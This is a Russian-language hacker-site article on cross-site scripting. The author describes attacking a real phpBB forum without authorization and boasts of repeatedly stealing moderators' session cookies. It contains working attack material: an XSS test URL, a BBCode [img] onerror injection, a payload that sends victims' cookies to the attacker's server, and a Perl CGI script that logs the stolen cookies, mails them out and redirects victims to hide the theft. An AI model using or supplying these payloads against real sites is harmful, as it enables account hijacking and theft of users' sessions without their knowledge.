Меню

 

 

 


InFo

 

Date : 20.04.2024



[WhoIs]
[ProXy Check]
[Sniffer !new]
[Sploit/Bug Search]

 

 


Banners

 







Rambler's Top100

 

 

 

 

 

    Security|war

 

.::Статьи::.

Автор : Zakharov Igor

Как использовать cross-site scripting (css)

Все началось с того, что как-то зайдя на securitylab.ru я увидел материал 
"Новости от Шушпанчика" примерно такого содержания:

Хак-группы (или security gr0upz ?) "Digital Hell" и "Spoofed Packet", более
 известные под именами "Xpaxo aka Xaksors Online" и "Fallout Team" - обе группы
 недавно переименовались - создали глобальный проект: объединенный форум
 хакерских групп: http://secforum.net/ Здесь секьюрити эксперты из молодых
 хак-групп, такие как Eraser, Spikir и DocSoft, могут обмениваться своими
 мнениями по самым различным вопросам, связанным с их родом деятельности,
 например, написание бэкдора на Kylix и кто на чем кодит. Наиболее активно
 обсуждается насущный вопрос, чья же пися все-таки самая длинная?

Помня о том, что Шушпанчик - это голова ((C) Pupkin-Zade) решаю прогуляться 
по данному URL`у и посмотреть, чем народ нынче балуется…

Скажу, что форум мне не понравился сразу: работает глючно-преглючно, темы 
дурацкие (самые "крутые" темы в разделе coding: 'что лучше'и 'кто на чем 
кодит' ;-) и при всей этой ботве гордая надпись вверху страницы:

Security Forum
All about Russian security systems...

Вот такие дела… Плюнул я на этот этот URL и забыл о нем на время… И не 
вспомнил бы, если бы не пришла в голову мысль написать о уязвимостях типа 
ХSS (cross-site scripting), которые сейчас являются абсолютными чемпионами
 по частоте появления в багтреке (проверь соответствующий раздел на Xakep.ru). 
Было ясно, что объяснять данную проблему 'на пальцах' было бы не круто - нужна 
была жертва, о выборе которой я даже не задумывался - http://secforum.net/ ;-)

Что такое cross-site scripting? Это тип уязвимостей, позволяющий атакующему
 выполнять произвольный код (например Javascript), встроив его в свое сообщение
 на форуме, добавив в качестве аргумента для скрипта на сервере и т.д. 
XSS-уязвимости находят и в практически никому не известных форумах, и 
shopping cart`ах крупнейших магазинов, и в таких почтовиках как Hotmail… 
Иными словами потенциально уязвимы все скрипты/приложения, которые получают
 от пользователя какую-либо информацию. 

Типичная уязвимость выглядит так:
http://www.microsoft.com/education/?ID=MCTN&target=
http://www.microsoft.com/education/?ID=MCTN&target="><ipt>alert(document.cookie)</script>
В результате в должны получить окошко, с содержимым вашего cookie
 (жаль на microsoft.com это уже пофиксено - такой хороший пример был ;-) 

Как свидетельствует статистика, XSS-дыры можно найти практически везде.
 Согреваемый этой мыслью, я отправился тестить http://secforum.net/ на
 дырявость… По правде говоря при первом посещении я даже не обратил внимание
 на чем там все крутится. Захожу - phpBB 2.0.0, довольно навороченный форум
 на php… Причем особенно меня порадовала 'навороченность' - где больше кода,
 там больше дырок %-)

Топаем в форму отправки сообщения и что же мы видим? Да тут используется супер
 разработка группы phpBB - Bbcode!!! Bbcode - это несколько обычных html-тегов 
у которых '<' и '>' заменены соответственно на '[' ']' Это дает возможность
 пользователям, к примеру посредством тега [img] добавлять в свое сообщение 
картинки (вернее ссылки на картинки по типу http://server.com/coolpicture).
 Этот тег мне не понравился сразу, начинаю с ним экспериментировать, а мой
 мыльник принимает свежую порцию багтрека… и тут я вижу такое… сообщение
 багтрека об уязвимости phpBB 2.0.0 (как раз той самой в которой я копаюсь).
 В голове проносится мысль из кинофильма: "Ничего красть не нужно, все уже
 украдено до нас". Уязвимость выглядит так:

[img]http://a.a/a"onerror="javascript:alert('fool')[/img]

Т.е. если отправить подобный 'сюрприз' в своем сообщении, то вместо картинки
 пользователь увидит окошко с очень обидным словом…

Что мы будем с этим делать? Ну, так как форум поддерживает всяческие там
 авторизации и автоматические входы, давай посмотрим как воровать кукисы 
пользователей. Делается это следующим образом:

[img]http://a.a/a"onerror="javascript:name='
http://твой_сервер/cgi-bin/script.cgi?';cook=document.cookie;
name=name+cook;document.location=name;[/img]

Объясняю тот Javascript, который здесь наворочен. Создается две переменные:
 в одной находится путь к твоему серверу со скриптом для сбора кукисов (дальше
 объясню как написать этот скрипт), во второй - содержимое кукиса пользователя,
 затем эти две переменные объединяются, т.е. получается примерно следующее:

http://твой_сервер/cgi-bin/script.cgi?содежимое_кукиса

далее происходит перенаправление пользователя на это URL.

Теперь о том, как написать скрипт для сбора кукисов:

#!/usr/bin/perl

use CGI qw(:standard);

$cookie=$ENV{QUERY_STRING};
$file="cook.txt";
open (FILE, ">>$file");
print FILE "$cookie\n\n";
close(file);
$query = CGI::new();

print $query->redirect('http://secforum.net/forum/index.php');
$mailprog = '/usr/sbin/sendmail';

$mail='xakep@mail.ru';
$target='admin@secforum.net';
open (MAIL, "|$mailprog -t");
print MAIL "Content-Type: text/plain\n";
print MAIL "Subject: Fresh cookie\n";
print MAIL "To: $mail\n";
print MAIL "From: '.$target.'\n\n";
print MAIL "$cookie";
close (MAIL);

О том, как это работает. Когда пользователя редиректит на наш скрипт, то в
 качестве аргумента скрипту передается содержимое кукиса (часть URL`а после
 'script.cgi?'). Это значение мы считываем с помощью $ENV{QUERY_STRING} и
 заботливо записываем в файл (кстати не забудь создать файл cook.txt), потом
 мы отправляем письмо с ворованным кукисом тебе любимому (если у тебя на 
хостинге нет возможности использования sendmail`а просто убери последние 9
 строк скрипта). Далее мы маскируем свою деятельность перенаправляя
 пользователя на главную страницу форума. В результате невнимательный
 пользователь вообще ничего не поймет: шел читать сообщение, а попал на
 главную страницу…

Подобные шуточки были провернуты мною несколько раз и попадались на них…
 модераторы форума!!! Думаете после этого дыру закрыли? О нет! Кул-хаксоры просто
 удаляли мои сообщения!!! А я оставлял их снова и продолжал собирать урожай 
'плюшек'. Конечно тут можно было пойти дальше и вникнув в алгоритм формирования
 плюшки захватить форум… но если бы ты знал каких трудов стоит хотя бы
 просто оставить сообщение на этом постоянно глючащем 'проекте о
 безопасности'… у меня иногда уходило по пол-часа даже на эту простейшую 
операцию, потому как сервер просто умирал и переставал отвечать…совсем…до
 следующего часа…



 

 

Designed By: w4rd3n
Copyright © 2005-2006 All Rights Reseved